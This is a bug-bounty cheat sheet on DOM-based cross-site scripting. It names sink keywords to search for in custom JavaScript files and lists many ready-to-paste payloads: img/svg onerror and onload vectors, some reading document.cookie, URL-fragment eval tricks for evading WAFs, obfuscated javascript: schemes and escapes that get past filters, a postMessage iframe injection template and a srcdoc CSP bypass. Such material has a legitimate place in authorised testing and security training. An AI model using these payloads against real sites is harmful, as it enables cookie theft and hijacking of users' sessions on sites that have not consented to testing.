🪓DOM Injections

web extension: https://github.com/swoops/eval_villain

web extension: https://chromewebstore.google.com/detail/untrusted-types-for-devto/bpeblffgmddnafmnmdjohcmkbeifdlnb

---------------------------------------------------------------

Here are some example keywords to look out for specific endpoint.js Files

For example, imagine you are on "https://www.bugbountyhunter.com/challenge" - you may find "challenge.js"

Search specifically only Inspect element: .innerHTML, var = getParameter() parameter pathname document.write(, document.cookie, location.href, redirectUrl, window.hash.

Note: Do not waste time browsing things such as jquery.js.

Typically these files do not contain anything that will be of use to you. Go for the custom-made specific endpoint.js files.

---------------------------------------------------------------

Tip: always try to inject after Dom Path:

https://domain.com/Path/#/customer/settings/'"><img src=x onerror=alert(document.domain)>

https://domain.com/Path/#q="><svg/onload=alert(document.cookie)>

https://domain.com/Path.jsp#"><svg/onload=alert(document.cookie)>

DOM XSS Injection Endpoint

.html
.js
.htm
.jsp
.pyt

---------------------------------------------------------------

DOM Insert Injection

Use to test for XSS when injection gets inserted into DOM as valid markup instead of being reflected in source code. It works for cases where script tag and other vectors won’t work.

<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
--------------------------
'></script><svg/onload=alert(1)>-'
“><svg onload=alert(1)>
<img src=1 onerror=alert(1)>
javascript:alert(document.cookie)
\“-alert(1)}//
<><img src=1 onerror=alert(1)>

---------------------------------------------------------------

Jump to URL Fragment

Use when you need to hide some characters from your payload that would trigger a WAF for example. It makes use of the respective payload format after the URL fragment (#).

eval(URL.slice(-8)) #alert(1)
eval(location.hash.slice(1)) #alert(1)
document.write(decodeURI(location.hash)) #<img/src/onerror=alert(1)>

---------------------------------------------------------------

DOM-based XSS

Based on a DOM XSS sink.

#"><img src=/ onerror=alert(2)>

---------------------------------------------------------------

DOM Insert Injection – Resource Request

Use when native javascript code inserts into the page the results of a request to a URL that can be controlled by the attacker.

data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>

---------------------------------------------------------------

Javascript postMessage() DOM Injection (with Iframe)

Use when there’s a “message” event listener like in “window.addEventListener(‘message’, ...)” in javascript code without a check for origin. The target must be able to be framed (X-Frame Options header according to context). Save as an HTML file (or using data:text/html) providing TARGET_URL and INJECTION (an XSS vector or payload).

<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">

---------------------------------------------------------------

Javascript Pseudo-Protocol Obfuscation

Use to bypass filters looking for javascript:alert(1). Be sure it can work (pass) with “1” before adding alert(1) because this very payload might need some extra obfuscation to bypass the filter completely. The last option only works with DOM manipulation of payload (like in Location-based Payloads or DOM-based XSS). Encode them properly in URLs.

javas&#99ript:1
javascript:1
javascript&#9:1
&#1javascript:1
"javas%0Dcript:1"
%00javascript:1

---------------------------------------------------------------

DOM Insertion via Server-Side Reflection

Use when input is reflected into the source and it can't execute by reflecting but by being inserted into DOM. Avoids browser filtering and WAFs.

\74svg o\156load\75alert\501\51\76

---------------------------------------------------------------

DOM-based CSP Bypass

Use when your CSP bypass is inserted into DOM. The CSP bypass vector must be in the contents of “srcdoc”.

<iframe srcdoc="<script src=URL></script>">

---------------------------------------------------------------